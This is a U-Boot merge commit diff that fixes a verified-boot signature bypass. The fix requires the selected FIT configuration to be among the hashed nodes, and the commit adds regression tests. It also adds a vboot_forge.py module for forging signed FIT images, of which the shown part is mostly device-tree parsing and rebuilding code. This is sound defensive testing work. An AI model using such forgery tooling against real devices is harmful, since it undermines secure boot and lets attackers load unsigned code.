Vboot vulnerability fix

-----BEGIN PGP SIGNATURE-----
 
 iQFFBAABCgAvFiEEslwAIq+Gp8wWVbYnfxc6PpAIreYFAl6EnJkRHHNqZ0BjaHJv
 bWl1bS5vcmcACgkQfxc6PpAIreZCcgf+KYFvKNwoLHmve7h1z+OiPkFzDqbNi12i
 kvTlnHzmq0RZXK39RmHh0fAoSsdyXzDMBJbdCZyf8SPTIRGPnGlHhFTnONg88cZu
 RDzpwZvXWB99vHYq5398zW/qSlmWmHp9lVKdTkZcmATMl7ehb5MM6LkgW9AhzRH+
 0Ybl+wUgc/JmmrE6giIOrGNgsUTVG5uo+skoHUFAlcE0itssIKx5p8vJH1Mo/29f
 dbr4LpSLmD1zeW8+TMocdF8o2Mx1Nn76ai+q8Nmj/acR8VaypaqTtgTnlyGwegl4
 U7L0XOfj3bGZTOlUFtwnv8UmBzpRcWq9u1oTtaHT9zzvtbA+8VAZeQ==
 =ACdK
 -----END PGP SIGNATURE-----

Merge tag 'dm-pull-1apr20' of git://git.denx.de/u-boot-dm

Vboot vulnerability fix
This commit is contained in:
Tom Rini 2020-04-01 14:29:21 -04:00
commit e0718b3ab7
11 changed files with 602 additions and 119 deletions

View file

@ -819,7 +819,8 @@ void __weak switch_to_non_secure_mode(void)
#else /* USE_HOSTCC */ #else /* USE_HOSTCC */
#if defined(CONFIG_FIT_SIGNATURE) #if defined(CONFIG_FIT_SIGNATURE)
static int bootm_host_load_image(const void *fit, int req_image_type) static int bootm_host_load_image(const void *fit, int req_image_type,
int cfg_noffset)
{ {
const char *fit_uname_config = NULL; const char *fit_uname_config = NULL;
ulong data, len; ulong data, len;
@ -831,6 +832,7 @@ static int bootm_host_load_image(const void *fit, int req_image_type)
void *load_buf; void *load_buf;
int ret; int ret;
fit_uname_config = fdt_get_name(fit, cfg_noffset, NULL);
memset(&images, '\0', sizeof(images)); memset(&images, '\0', sizeof(images));
images.verify = 1; images.verify = 1;
noffset = fit_image_load(&images, (ulong)fit, noffset = fit_image_load(&images, (ulong)fit,
@ -878,7 +880,7 @@ int bootm_host_load_images(const void *fit, int cfg_noffset)
for (i = 0; i < ARRAY_SIZE(image_types); i++) { for (i = 0; i < ARRAY_SIZE(image_types); i++) {
int ret; int ret;
ret = bootm_host_load_image(fit, image_types[i]); ret = bootm_host_load_image(fit, image_types[i], cfg_noffset);
if (!err && ret && ret != -ENOENT) if (!err && ret && ret != -ENOENT)
err = ret; err = ret;
} }

View file

@ -88,7 +88,7 @@ static int fit_image_setup_decrypt(struct image_cipher_info *info,
return -1; return -1;
} }
info->keyname = fdt_getprop(fit, cipher_noffset, "key-name-hint", NULL); info->keyname = fdt_getprop(fit, cipher_noffset, FIT_KEY_HINT, NULL);
if (!info->keyname) { if (!info->keyname) {
printf("Can't get key name\n"); printf("Can't get key name\n");
return -1; return -1;

View file

@ -168,7 +168,7 @@ static void fit_image_print_data(const void *fit, int noffset, const char *p,
int value_len; int value_len;
char *algo; char *algo;
const char *padding; const char *padding;
int required; bool required;
int ret, i; int ret, i;
debug("%s %s node: '%s'\n", p, type, debug("%s %s node: '%s'\n", p, type,
@ -179,8 +179,8 @@ static void fit_image_print_data(const void *fit, int noffset, const char *p,
return; return;
} }
printf("%s", algo); printf("%s", algo);
keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
required = fdt_getprop(fit, noffset, "required", NULL) != NULL; required = fdt_getprop(fit, noffset, FIT_KEY_REQUIRED, NULL) != NULL;
if (keyname) if (keyname)
printf(":%s", keyname); printf(":%s", keyname);
if (required) if (required)
@ -1712,24 +1712,6 @@ int fit_conf_find_compat(const void *fit, const void *fdt)
return best_match_offset; return best_match_offset;
} }
/**
* fit_conf_get_node - get node offset for configuration of a given unit name
* @fit: pointer to the FIT format image header
* @conf_uname: configuration node unit name
*
* fit_conf_get_node() finds a configuration (within the '/configurations'
* parent node) of a provided unit name. If configuration is found its node
* offset is returned to the caller.
*
* When NULL is provided in second argument fit_conf_get_node() will search
* for a default configuration node instead. Default configuration node unit
* name is retrieved from FIT_DEFAULT_PROP property of the '/configurations'
* node.
*
* returns:
* configuration node offset when found (>=0)
* negative number on failure (FDT_ERR_* code)
*/
int fit_conf_get_node(const void *fit, const char *conf_uname) int fit_conf_get_node(const void *fit, const char *conf_uname)
{ {
int noffset, confs_noffset; int noffset, confs_noffset;
@ -1969,7 +1951,7 @@ int fit_image_load(bootm_headers_t *images, ulong addr,
fit_uname = fit_get_name(fit, noffset, NULL); fit_uname = fit_get_name(fit, noffset, NULL);
} }
if (noffset < 0) { if (noffset < 0) {
puts("Could not find subimage node\n"); printf("Could not find subimage node type '%s'\n", prop_name);
bootstage_error(bootstage_id + BOOTSTAGE_SUB_SUBNODE); bootstage_error(bootstage_id + BOOTSTAGE_SUB_SUBNODE);
return -ENOENT; return -ENOENT;
} }

View file

@ -229,7 +229,7 @@ static int fit_image_setup_verify(struct image_sign_info *info,
padding_name = RSA_DEFAULT_PADDING_NAME; padding_name = RSA_DEFAULT_PADDING_NAME;
memset(info, '\0', sizeof(*info)); memset(info, '\0', sizeof(*info));
info->keyname = fdt_getprop(fit, noffset, "key-name-hint", NULL); info->keyname = fdt_getprop(fit, noffset, FIT_KEY_HINT, NULL);
info->fit = (void *)fit; info->fit = (void *)fit;
info->node_offset = noffset; info->node_offset = noffset;
info->name = algo_name; info->name = algo_name;
@ -340,7 +340,8 @@ int fit_image_verify_required_sigs(const void *fit, int image_noffset,
const char *required; const char *required;
int ret; int ret;
required = fdt_getprop(sig_blob, noffset, "required", NULL); required = fdt_getprop(sig_blob, noffset, FIT_KEY_REQUIRED,
NULL);
if (!required || strcmp(required, "image")) if (!required || strcmp(required, "image"))
continue; continue;
ret = fit_image_verify_sig(fit, image_noffset, data, size, ret = fit_image_verify_sig(fit, image_noffset, data, size,
@ -359,20 +360,39 @@ int fit_image_verify_required_sigs(const void *fit, int image_noffset,
return 0; return 0;
} }
int fit_config_check_sig(const void *fit, int noffset, int required_keynode, /**
char **err_msgp) * fit_config_check_sig() - Check the signature of a config
*
* @fit: FIT to check
* @noffset: Offset of configuration node (e.g. /configurations/conf-1)
* @required_keynode: Offset in the control FDT of the required key node,
* if any. If this is given, then the configuration wil not
* pass verification unless that key is used. If this is
* -1 then any signature will do.
* @conf_noffset: Offset of the configuration subnode being checked (e.g.
* /configurations/conf-1/kernel)
* @err_msgp: In the event of an error, this will be pointed to a
* help error string to display to the user.
* @return 0 if all verified ok, <0 on error
*/
static int fit_config_check_sig(const void *fit, int noffset,
int required_keynode, int conf_noffset,
char **err_msgp)
{ {
char * const exc_prop[] = {"data"}; char * const exc_prop[] = {"data"};
const char *prop, *end, *name; const char *prop, *end, *name;
struct image_sign_info info; struct image_sign_info info;
const uint32_t *strings; const uint32_t *strings;
const char *config_name;
uint8_t *fit_value; uint8_t *fit_value;
int fit_value_len; int fit_value_len;
bool found_config;
int max_regions; int max_regions;
int i, prop_len; int i, prop_len;
char path[200]; char path[200];
int count; int count;
config_name = fit_get_name(fit, conf_noffset, NULL);
debug("%s: fdt=%p, conf='%s', sig='%s'\n", __func__, gd_fdt_blob(), debug("%s: fdt=%p, conf='%s', sig='%s'\n", __func__, gd_fdt_blob(),
fit_get_name(fit, noffset, NULL), fit_get_name(fit, noffset, NULL),
fit_get_name(gd_fdt_blob(), required_keynode, NULL)); fit_get_name(gd_fdt_blob(), required_keynode, NULL));
@ -413,9 +433,20 @@ int fit_config_check_sig(const void *fit, int noffset, int required_keynode,
char *node_inc[count]; char *node_inc[count];
debug("Hash nodes (%d):\n", count); debug("Hash nodes (%d):\n", count);
found_config = false;
for (name = prop, i = 0; name < end; name += strlen(name) + 1, i++) { for (name = prop, i = 0; name < end; name += strlen(name) + 1, i++) {
debug(" '%s'\n", name); debug(" '%s'\n", name);
node_inc[i] = (char *)name; node_inc[i] = (char *)name;
if (!strncmp(FIT_CONFS_PATH, name, strlen(FIT_CONFS_PATH)) &&
name[sizeof(FIT_CONFS_PATH) - 1] == '/' &&
!strcmp(name + sizeof(FIT_CONFS_PATH), config_name)) {
debug(" (found config node %s)", config_name);
found_config = true;
}
}
if (!found_config) {
*err_msgp = "Selected config not in hashed nodes";
return -1;
} }
/* /*
@ -483,7 +514,7 @@ static int fit_config_verify_sig(const void *fit, int conf_noffset,
if (!strncmp(name, FIT_SIG_NODENAME, if (!strncmp(name, FIT_SIG_NODENAME,
strlen(FIT_SIG_NODENAME))) { strlen(FIT_SIG_NODENAME))) {
ret = fit_config_check_sig(fit, noffset, sig_offset, ret = fit_config_check_sig(fit, noffset, sig_offset,
&err_msg); conf_noffset, &err_msg);
if (ret) { if (ret) {
puts("- "); puts("- ");
} else { } else {
@ -499,13 +530,14 @@ static int fit_config_verify_sig(const void *fit, int conf_noffset,
goto error; goto error;
} }
return verified ? 0 : -EPERM; if (verified)
return 0;
error: error:
printf(" error!\n%s for '%s' hash node in '%s' config node\n", printf(" error!\n%s for '%s' hash node in '%s' config node\n",
err_msg, fit_get_name(fit, noffset, NULL), err_msg, fit_get_name(fit, noffset, NULL),
fit_get_name(fit, conf_noffset, NULL)); fit_get_name(fit, conf_noffset, NULL));
return -1; return -EPERM;
} }
int fit_config_verify_required_sigs(const void *fit, int conf_noffset, int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
@ -526,7 +558,8 @@ int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
const char *required; const char *required;
int ret; int ret;
required = fdt_getprop(sig_blob, noffset, "required", NULL); required = fdt_getprop(sig_blob, noffset, FIT_KEY_REQUIRED,
NULL);
if (!required || strcmp(required, "conf")) if (!required || strcmp(required, "conf"))
continue; continue;
ret = fit_config_verify_sig(fit, conf_noffset, sig_blob, ret = fit_config_verify_sig(fit, conf_noffset, sig_blob,

View file

@ -939,12 +939,14 @@ int booti_setup(ulong image, ulong *relocated_addr, ulong *size,
#define FIT_IMAGES_PATH "/images" #define FIT_IMAGES_PATH "/images"
#define FIT_CONFS_PATH "/configurations" #define FIT_CONFS_PATH "/configurations"
/* hash/signature node */ /* hash/signature/key node */
#define FIT_HASH_NODENAME "hash" #define FIT_HASH_NODENAME "hash"
#define FIT_ALGO_PROP "algo" #define FIT_ALGO_PROP "algo"
#define FIT_VALUE_PROP "value" #define FIT_VALUE_PROP "value"
#define FIT_IGNORE_PROP "uboot-ignore" #define FIT_IGNORE_PROP "uboot-ignore"
#define FIT_SIG_NODENAME "signature" #define FIT_SIG_NODENAME "signature"
#define FIT_KEY_REQUIRED "required"
#define FIT_KEY_HINT "key-name-hint"
/* cipher node */ /* cipher node */
#define FIT_CIPHER_NODENAME "cipher" #define FIT_CIPHER_NODENAME "cipher"
@ -1092,7 +1094,27 @@ int fit_image_check_comp(const void *fit, int noffset, uint8_t comp);
int fit_check_format(const void *fit); int fit_check_format(const void *fit);
int fit_conf_find_compat(const void *fit, const void *fdt); int fit_conf_find_compat(const void *fit, const void *fdt);
/**
* fit_conf_get_node - get node offset for configuration of a given unit name
* @fit: pointer to the FIT format image header
* @conf_uname: configuration node unit name (NULL to use default)
*
* fit_conf_get_node() finds a configuration (within the '/configurations'
* parent node) of a provided unit name. If configuration is found its node
* offset is returned to the caller.
*
* When NULL is provided in second argument fit_conf_get_node() will search
* for a default configuration node instead. Default configuration node unit
* name is retrieved from FIT_DEFAULT_PROP property of the '/configurations'
* node.
*
* returns:
* configuration node offset when found (>=0)
* negative number on failure (FDT_ERR_* code)
*/
int fit_conf_get_node(const void *fit, const char *conf_uname); int fit_conf_get_node(const void *fit, const char *conf_uname);
int fit_conf_get_prop_node_count(const void *fit, int noffset, int fit_conf_get_prop_node_count(const void *fit, int noffset,
const char *prop_name); const char *prop_name);
int fit_conf_get_prop_node_index(const void *fit, int noffset, int fit_conf_get_prop_node_index(const void *fit, int noffset,

View file

@ -792,8 +792,8 @@ int rsa_add_verify_data(struct image_sign_info *info, void *keydest)
} }
if (!ret) { if (!ret) {
ret = fdt_setprop_string(keydest, node, "key-name-hint", ret = fdt_setprop_string(keydest, node, FIT_KEY_HINT,
info->keyname); info->keyname);
} }
if (!ret) if (!ret)
ret = fdt_setprop_u32(keydest, node, "rsa,num-bits", bits); ret = fdt_setprop_u32(keydest, node, "rsa,num-bits", bits);
@ -815,7 +815,7 @@ int rsa_add_verify_data(struct image_sign_info *info, void *keydest)
info->name); info->name);
} }
if (!ret && info->require_keys) { if (!ret && info->require_keys) {
ret = fdt_setprop_string(keydest, node, "required", ret = fdt_setprop_string(keydest, node, FIT_KEY_REQUIRED,
info->require_keys); info->require_keys);
} }
done: done:

View file

@ -24,10 +24,18 @@ For configuration verification:
Tests run with both SHA1 and SHA256 hashing. Tests run with both SHA1 and SHA256 hashing.
""" """
import pytest
import sys
import struct import struct
import pytest
import u_boot_utils as util import u_boot_utils as util
import vboot_forge
TESTDATA = [
['sha1', '', False],
['sha1', '-pss', False],
['sha256', '', False],
['sha256', '-pss', False],
['sha256', '-pss', True],
]
@pytest.mark.boardspec('sandbox') @pytest.mark.boardspec('sandbox')
@pytest.mark.buildconfigspec('fit_signature') @pytest.mark.buildconfigspec('fit_signature')
@ -35,7 +43,8 @@ import u_boot_utils as util
@pytest.mark.requiredtool('fdtget') @pytest.mark.requiredtool('fdtget')
@pytest.mark.requiredtool('fdtput') @pytest.mark.requiredtool('fdtput')
@pytest.mark.requiredtool('openssl') @pytest.mark.requiredtool('openssl')
def test_vboot(u_boot_console): @pytest.mark.parametrize("sha_algo,padding,required", TESTDATA)
def test_vboot(u_boot_console, sha_algo, padding, required):
"""Test verified boot signing with mkimage and verification with 'bootm'. """Test verified boot signing with mkimage and verification with 'bootm'.
This works using sandbox only as it needs to update the device tree used This works using sandbox only as it needs to update the device tree used
@ -75,13 +84,14 @@ def test_vboot(u_boot_console):
with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)): with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
output = cons.run_command_list( output = cons.run_command_list(
['host load hostfs - 100 %stest.fit' % tmpdir, ['host load hostfs - 100 %stest.fit' % tmpdir,
'fdt addr 100', 'fdt addr 100',
'bootm 100']) 'bootm 100'])
assert(expect_string in ''.join(output)) assert expect_string in ''.join(output)
if boots: if boots:
assert('sandbox: continuing, as we cannot run' in ''.join(output)) assert 'sandbox: continuing, as we cannot run' in ''.join(output)
else: else:
assert('sandbox: continuing, as we cannot run' not in ''.join(output)) assert('sandbox: continuing, as we cannot run'
not in ''.join(output))
def make_fit(its): def make_fit(its):
"""Make a new FIT from the .its source file. """Make a new FIT from the .its source file.
@ -108,20 +118,6 @@ def test_vboot(u_boot_console):
util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb, util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb,
'-r', fit]) '-r', fit])
def sign_fit_norequire(sha_algo):
"""Sign the FIT
Signs the FIT and writes the signature into it. It also writes the
public key into the dtb.
Args:
sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
use.
"""
cons.log.action('%s: Sign images' % sha_algo)
util.run_and_log(cons, [mkimage, '-F', '-k', tmpdir, '-K', dtb,
fit])
def replace_fit_totalsize(size): def replace_fit_totalsize(size):
"""Replace FIT header's totalsize with something greater. """Replace FIT header's totalsize with something greater.
@ -142,6 +138,22 @@ def test_vboot(u_boot_console):
handle.write(struct.pack(">I", size)) handle.write(struct.pack(">I", size))
return struct.unpack(">I", total_size)[0] return struct.unpack(">I", total_size)[0]
def create_rsa_pair(name):
"""Generate a new RSA key paid and certificate
Args:
name: Name of of the key (e.g. 'dev')
"""
public_exponent = 65537
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %s%s.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, name, public_exponent))
# Create a certificate containing the public key
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %s%s.key '
'-out %s%s.crt' % (tmpdir, name, tmpdir, name))
def test_with_algo(sha_algo, padding): def test_with_algo(sha_algo, padding):
"""Test verified boot with the given hash algorithm. """Test verified boot with the given hash algorithm.
@ -160,7 +172,7 @@ def test_vboot(u_boot_console):
# Build the FIT, but don't sign anything yet # Build the FIT, but don't sign anything yet
cons.log.action('%s: Test FIT with signed images' % sha_algo) cons.log.action('%s: Test FIT with signed images' % sha_algo)
make_fit('sign-images-%s%s.its' % (sha_algo , padding)) make_fit('sign-images-%s%s.its' % (sha_algo, padding))
run_bootm(sha_algo, 'unsigned images', 'dev-', True) run_bootm(sha_algo, 'unsigned images', 'dev-', True)
# Sign images with our dev keys # Sign images with our dev keys
@ -171,7 +183,7 @@ def test_vboot(u_boot_console):
dtc('sandbox-u-boot.dts') dtc('sandbox-u-boot.dts')
cons.log.action('%s: Test FIT with signed configuration' % sha_algo) cons.log.action('%s: Test FIT with signed configuration' % sha_algo)
make_fit('sign-configs-%s%s.its' % (sha_algo , padding)) make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
run_bootm(sha_algo, 'unsigned config', '%s+ OK' % sha_algo, True) run_bootm(sha_algo, 'unsigned config', '%s+ OK' % sha_algo, True)
# Sign images with our dev keys # Sign images with our dev keys
@ -180,14 +192,29 @@ def test_vboot(u_boot_console):
cons.log.action('%s: Check signed config on the host' % sha_algo) cons.log.action('%s: Check signed config on the host' % sha_algo)
util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', tmpdir, util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
'-k', dtb])
# Replace header bytes # Make sure that U-Boot checks that the config is in the list of hashed
# nodes. If it isn't, a security bypass is possible.
with open(fit, 'rb') as fd:
root, strblock = vboot_forge.read_fdt(fd)
root, strblock = vboot_forge.manipulate(root, strblock)
with open(fit, 'w+b') as fd:
vboot_forge.write_fdt(root, strblock, fd)
util.run_and_log_expect_exception(
cons, [fit_check_sign, '-f', fit, '-k', dtb],
1, 'Failed to verify required signature')
run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False)
# Create a new properly signed fit and replace header bytes
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
sign_fit(sha_algo)
bcfg = u_boot_console.config.buildconfig bcfg = u_boot_console.config.buildconfig
max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0) max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0)
existing_size = replace_fit_totalsize(max_size + 1) existing_size = replace_fit_totalsize(max_size + 1)
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False) run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
False)
cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo) cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo)
# Replace with existing header bytes # Replace with existing header bytes
@ -205,21 +232,22 @@ def test_vboot(u_boot_console):
util.run_and_log(cons, 'fdtput -t bx %s %s value %s' % util.run_and_log(cons, 'fdtput -t bx %s %s value %s' %
(fit, sig_node, sig)) (fit, sig_node, sig))
run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash', False) run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
False)
cons.log.action('%s: Check bad config on the host' % sha_algo) cons.log.action('%s: Check bad config on the host' % sha_algo)
util.run_and_log_expect_exception(cons, [fit_check_sign, '-f', fit, util.run_and_log_expect_exception(
'-k', dtb], 1, 'Failed to verify required signature') cons, [fit_check_sign, '-f', fit, '-k', dtb],
1, 'Failed to verify required signature')
def test_required_key(sha_algo, padding): def test_required_key(sha_algo, padding):
"""Test verified boot with the given hash algorithm. """Test verified boot with the given hash algorithm.
This function test if u-boot reject an image when a required This function tests if U-Boot rejects an image when a required key isn't
key isn't used to sign a FIT. used to sign a FIT.
Args: Args:
sha_algo: Either 'sha1' or 'sha256', to select the algorithm to sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
use.
""" """
# Compile our device tree files for kernel and U-Boot. These are # Compile our device tree files for kernel and U-Boot. These are
# regenerated here since mkimage will modify them (by adding a # regenerated here since mkimage will modify them (by adding a
@ -227,22 +255,27 @@ def test_vboot(u_boot_console):
dtc('sandbox-kernel.dts') dtc('sandbox-kernel.dts')
dtc('sandbox-u-boot.dts') dtc('sandbox-u-boot.dts')
# Build the FIT with prod key (keys required)
# Build the FIT with dev key (keys NOT required)
# The dtb contain the key prod and dev and the key prod are set as required.
# Then try to boot the FIT with dev key
# This FIT should not be accepted by u-boot because the key prod is required
cons.log.action('%s: Test FIT with configs images' % sha_algo) cons.log.action('%s: Test FIT with configs images' % sha_algo)
make_fit('sign-configs-%s%s-prod.its' % (sha_algo , padding))
sign_fit(sha_algo) # Build the FIT with prod key (keys required) and sign it. This puts the
make_fit('sign-configs-%s%s.its' % (sha_algo , padding)) # signature into sandbox-u-boot.dtb, marked 'required'
make_fit('sign-configs-%s%s-prod.its' % (sha_algo, padding))
sign_fit(sha_algo) sign_fit(sha_algo)
run_bootm(sha_algo, 'signed configs', '', False) # Build the FIT with dev key (keys NOT required). This adds the
# signature into sandbox-u-boot.dtb, NOT marked 'required'.
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
sign_fit(sha_algo)
# So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
# Only the prod key is set as 'required'. But FIT we just built has
# a dev signature only (sign_fit() overwrites the FIT).
# Try to boot the FIT with dev key. This FIT should not be accepted by
# U-Boot because the prod key is required.
run_bootm(sha_algo, 'required key', '', False)
cons = u_boot_console cons = u_boot_console
tmpdir = cons.config.result_dir + '/' tmpdir = cons.config.result_dir + '/'
tmp = tmpdir + 'vboot.tmp'
datadir = cons.config.source_dir + '/test/py/tests/vboot/' datadir = cons.config.source_dir + '/test/py/tests/vboot/'
fit = '%stest.fit' % tmpdir fit = '%stest.fit' % tmpdir
mkimage = cons.config.build_dir + '/tools/mkimage' mkimage = cons.config.build_dir + '/tools/mkimage'
@ -251,42 +284,22 @@ def test_vboot(u_boot_console):
dtb = '%ssandbox-u-boot.dtb' % tmpdir dtb = '%ssandbox-u-boot.dtb' % tmpdir
sig_node = '/configurations/conf-1/signature' sig_node = '/configurations/conf-1/signature'
# Create an RSA key pair create_rsa_pair('dev')
public_exponent = 65537 create_rsa_pair('prod')
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sdev.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, public_exponent))
# Create a certificate containing the public key
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sdev.key -out '
'%sdev.crt' % (tmpdir, tmpdir))
# Create an RSA key pair (prod)
public_exponent = 65537
util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %sprod.key '
'-pkeyopt rsa_keygen_bits:2048 '
'-pkeyopt rsa_keygen_pubexp:%d' %
(tmpdir, public_exponent))
# Create a certificate containing the public key (prod)
util.run_and_log(cons, 'openssl req -batch -new -x509 -key %sprod.key -out '
'%sprod.crt' % (tmpdir, tmpdir))
# Create a number kernel image with zeroes # Create a number kernel image with zeroes
with open('%stest-kernel.bin' % tmpdir, 'w') as fd: with open('%stest-kernel.bin' % tmpdir, 'w') as fd:
fd.write(5000 * chr(0)) fd.write(500 * chr(0))
try: try:
# We need to use our own device tree file. Remember to restore it # We need to use our own device tree file. Remember to restore it
# afterwards. # afterwards.
old_dtb = cons.config.dtb old_dtb = cons.config.dtb
cons.config.dtb = dtb cons.config.dtb = dtb
test_with_algo('sha1','') if required:
test_with_algo('sha1','-pss') test_required_key(sha_algo, padding)
test_with_algo('sha256','') else:
test_with_algo('sha256','-pss') test_with_algo(sha_algo, padding)
test_required_key('sha256','-pss')
finally: finally:
# Go back to the original U-Boot with the correct dtb. # Go back to the original U-Boot with the correct dtb.
cons.config.dtb = old_dtb cons.config.dtb = old_dtb

View file

@ -0,0 +1,423 @@
#!/usr/bin/python3
# SPDX-License-Identifier: GPL-2.0
# Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
#
# pylint: disable=E1101,W0201,C0103
"""
Verified boot image forgery tools and utilities
This module provides services to both take apart and regenerate FIT images
in a way that preserves all existing verified boot signatures, unless you
manipulate nodes in the process.
"""
import struct
import binascii
from io import BytesIO
#
# struct parsing helpers
#
class BetterStructMeta(type):
"""
Preprocesses field definitions and creates a struct.Struct instance from them
"""
def __new__(cls, clsname, superclasses, attributedict):
if clsname != 'BetterStruct':
fields = attributedict['__fields__']
field_types = [_[0] for _ in fields]
field_names = [_[1] for _ in fields if _[1] is not None]
attributedict['__names__'] = field_names
s = struct.Struct(attributedict.get('__endian__', '') + ''.join(field_types))
attributedict['__struct__'] = s
attributedict['size'] = s.size
return type.__new__(cls, clsname, superclasses, attributedict)
class BetterStruct(metaclass=BetterStructMeta):
"""
Base class for better structures
"""
def __init__(self):
for t, n in self.__fields__:
if 's' in t:
setattr(self, n, '')
elif t in ('Q', 'I', 'H', 'B'):
setattr(self, n, 0)
@classmethod
def unpack_from(cls, buffer, offset=0):
"""
Unpack structure instance from a buffer
"""
fields = cls.__struct__.unpack_from(buffer, offset)
instance = cls()
for n, v in zip(cls.__names__, fields):
setattr(instance, n, v)
return instance
def pack(self):
"""
Pack structure instance into bytes
"""
return self.__struct__.pack(*[getattr(self, n) for n in self.__names__])
def __str__(self):
items = ["'%s': %s" % (n, repr(getattr(self, n))) for n in self.__names__ if n is not None]
return '(' + ', '.join(items) + ')'
#
# some defs for flat DT data
#
class HeaderV17(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'magic'),
('I', 'totalsize'),
('I', 'off_dt_struct'),
('I', 'off_dt_strings'),
('I', 'off_mem_rsvmap'),
('I', 'version'),
('I', 'last_comp_version'),
('I', 'boot_cpuid_phys'),
('I', 'size_dt_strings'),
('I', 'size_dt_struct'),
]
class RRHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('Q', 'address'),
('Q', 'size'),
]
class PropHeader(BetterStruct):
__endian__ = '>'
__fields__ = [
('I', 'value_size'),
('I', 'name_offset'),
]
# magical constants for DTB format
OF_DT_HEADER = 0xd00dfeed
OF_DT_BEGIN_NODE = 1
OF_DT_END_NODE = 2
OF_DT_PROP = 3
OF_DT_END = 9
class StringsBlock:
"""
Represents a parsed device tree string block
"""
def __init__(self, values=None):
if values is None:
self.values = []
else:
self.values = values
def __getitem__(self, at):
if isinstance(at, str):
offset = 0
for value in self.values:
if value == at:
break
offset += len(value) + 1
else:
self.values.append(at)
return offset
if isinstance(at, int):
offset = 0
for value in self.values:
if offset == at:
return value
offset += len(value) + 1
raise IndexError('no string found corresponding to the given offset')
raise TypeError('only strings and integers are accepted')
class Prop:
"""
Represents a parsed device tree property
"""
def __init__(self, name=None, value=None):
self.name = name
self.value = value
def clone(self):
return Prop(self.name, self.value)
def __repr__(self):
return "<Prop(name='%s', value=%s>" % (self.name, repr(self.value))
class Node:
"""
Represents a parsed device tree node
"""
def __init__(self, name=None):
self.name = name
self.props = []
self.children = []
def clone(self):
o = Node(self.name)
o.props = [x.clone() for x in self.props]
o.children = [x.clone() for x in self.children]
return o
def __getitem__(self, index):
return self.children[index]
def __repr__(self):
return "<Node('%s'), %s, %s>" % (self.name, repr(self.props), repr(self.children))
#
# flat DT to memory
#
def parse_strings(strings):
"""
Converts the bytes into a StringsBlock instance so it is convenient to work with
"""
strings = strings.split(b'\x00')
return StringsBlock(strings)
def parse_struct(stream):
"""
Parses DTB structure(s) into a Node or Prop instance
"""
tag = bytearray(stream.read(4))[3]
if tag == OF_DT_BEGIN_NODE:
name = b''
while b'\x00' not in name:
name += stream.read(4)
name = name.rstrip(b'\x00')
node = Node(name)
item = parse_struct(stream)
while item is not None:
if isinstance(item, Node):
node.children.append(item)
elif isinstance(item, Prop):
node.props.append(item)
item = parse_struct(stream)
return node
if tag == OF_DT_PROP:
h = PropHeader.unpack_from(stream.read(PropHeader.size))
length = (h.value_size + 3) & (~3)
value = stream.read(length)[:h.value_size]
prop = Prop(h.name_offset, value)
return prop
if tag in (OF_DT_END_NODE, OF_DT_END):
return None
raise ValueError('unexpected tag value')
def read_fdt(fp):
"""
Reads and parses the flattened device tree (or derivatives like FIT)
"""
header = HeaderV17.unpack_from(fp.read(HeaderV17.size))
if header.magic != OF_DT_HEADER:
raise ValueError('invalid magic value %08x; expected %08x' % (header.magic, OF_DT_HEADER))
# TODO: read/parse reserved regions
fp.seek(header.off_dt_struct)
structs = fp.read(header.size_dt_struct)
fp.seek(header.off_dt_strings)
strings = fp.read(header.size_dt_strings)
strblock = parse_strings(strings)
root = parse_struct(BytesIO(structs))
return root, strblock
#
# memory to flat DT
#
def compose_structs_r(item):
"""
Recursive part of composing Nodes and Props into a bytearray
"""
t = bytearray()
if isinstance(item, Node):
t.extend(struct.pack('>I', OF_DT_BEGIN_NODE))
if isinstance(item.name, str):
item.name = bytes(item.name, 'utf-8')
name = item.name + b'\x00'
if len(name) & 3:
name += b'\x00' * (4 - (len(name) & 3))
t.extend(name)
for p in item.props:
t.extend(compose_structs_r(p))
for c in item.children:
t.extend(compose_structs_r(c))
t.extend(struct.pack('>I', OF_DT_END_NODE))
elif isinstance(item, Prop):
t.extend(struct.pack('>I', OF_DT_PROP))
value = item.value
h = PropHeader()
h.name_offset = item.name
if value:
h.value_size = len(value)
t.extend(h.pack())
if len(value) & 3:
value += b'\x00' * (4 - (len(value) & 3))
t.extend(value)
else:
h.value_size = 0
t.extend(h.pack())
return t
def compose_structs(root):
"""
Composes the parsed Nodes into a flat bytearray instance
"""
t = compose_structs_r(root)
t.extend(struct.pack('>I', OF_DT_END))
return t
def compose_strings(strblock):
"""
Composes the StringsBlock instance back into a bytearray instance
"""
b = bytearray()
for s in strblock.values:
b.extend(s)
b.append(0)
